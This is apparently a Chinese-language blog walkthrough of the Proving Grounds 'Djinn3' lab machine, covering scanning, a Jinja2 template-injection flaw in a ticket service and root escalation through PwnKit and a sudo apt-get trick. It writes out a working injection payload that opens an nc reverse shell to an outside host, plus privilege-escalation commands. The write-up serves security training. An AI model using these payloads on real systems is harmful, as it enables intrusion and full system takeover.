Proving Grounds Play : Djinn3 Walkthrough
Proving Grounds Play : Djinn3 Walkthrough
Foothold :
- 發現沒有看過的建單系統,透過 nc 進去後發現可以輸入主旨與內容
- 內容有 SSTI 漏洞利用,參考 hacktricks 後發現可用指令格式
- 使用 RM 指令建立 Reverse Shell 成功登入
PE :
- linpeas 發現 PwnKit,直接利用後成功 root
注意 :
- 提權的另外一條路有幾個步驟
- pspy64 後發現固定執行 script,利用該 script 去覆蓋使用者的 saint 的 authorized_keys
- sanit 可以使用 adduser,新增一個隸屬 root group 的使用者去讀取 /etc/sudoers 檔案
- 發現不存在的使用者 jason 可以 sudo 執行 apt-get(可用於提權)
- 切換回 saint 後新增使用者 jason 然後切換到使用者 jason
- 使用者 jason 使用 sudo apt-get 成功提權
Rustscan,└─$ rustscan -a 192.168.151.102 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.151.102 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80,5000,31337 192.168.151.102 | tee nmap
80 /
80 /robots.txt
gobuster 80 /
80 /images
gobuster /images
先暫時放棄 80 Port 繼續往下看 5000 Port
5000 /
5000 /?id=2792
5000 /?id=7723,獲得使用者名稱 Jack
5000 /?id=2984,獲得使用者名稱 jason、david、freddy
先 hydra 簡易組合帳號密碼檔爆破看看 --> 沒有好消息
31337 /,顯示驗證失敗
改用 nc 連線看看,跳出要我們輸入使用者
利用已知的使用者輸入後還要要求密碼,猜測常用密碼後都失敗
回頭測試 5000 port 的 gobuster 看來沒有任何結果
此時回頭看相關 ticket 時發現這個內容,有個帳號 guest 且不用密碼說要移除
但目前這個 ticket 還是 open 的狀態
明明說不用密碼,回頭測試時發現憑證是 guest:guest,成功連線進 31337 服務
看了一下 help 應該是開單系統
簡易測試了一番
發現在 31337 使用 open 建立的 Ticket 會顯示在 5000 Port 的網站
輸入的描述顯示在 Ticket ID 內容裡
從 nmap 的枚舉可以看到 31337 的服務看來是用 python 寫的
在網路上查找後發現這是一種 SSTI 的利用
參考 : https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python
測試看看 {{7*7}}
看來有作用
測試 command 看看
測試到這一個有作用 {{ cycler.__init__.__globals__.os.popen('id').read() }}
網站直接將 id 執行的結果顯示出來
接著就是依樣畫葫蘆,將執行的指令 id 置換即可,立馬換上最愛的 rm Reverse shell command
{{ cycler.__init__.__globals__.os.popen('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.168 4444 >/tmp/f').read() }}
點了 link 後 Reverse Shell 進來了,直接獲取第一階段 flag local.txt
開始 PE,cat /etc/passwd 獲得使用者 saint、jack、mzfr
一樣帳號密碼組合測試一下試試看,沒有好消息
cat /etc/crontab
sudo -l 要密碼先放棄,接著確認 SUID
linpeas 跑下去,第一個又出現了熟悉的 PwnKit
下載 Pwnkit 執行 Pwnkit 結果就 root 了,獲取 proof.txt
補充說明 :
- 程式定義參數 files 去讀取 /home/saint 和 /tmp 目錄下以 .json 結尾的文件
- 接下來,我們可以看到它只需要配置文件
- 檔案名稱必須以日-月-年格式的日期開頭
- 因此,檔案名稱以日期開頭並以 config.json 結尾
- 例如,DD-MM-YYYY.config.json
經過一番枚舉後發現使用者 jason 可以執行 /usr/bin/apt-get
參考 GTFO 發現該指令可以 sudo 提權
參考 GTFO POC 使用 (c) sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
成功提權為 root,也可以順利讀取 proof.txt
留言
張貼留言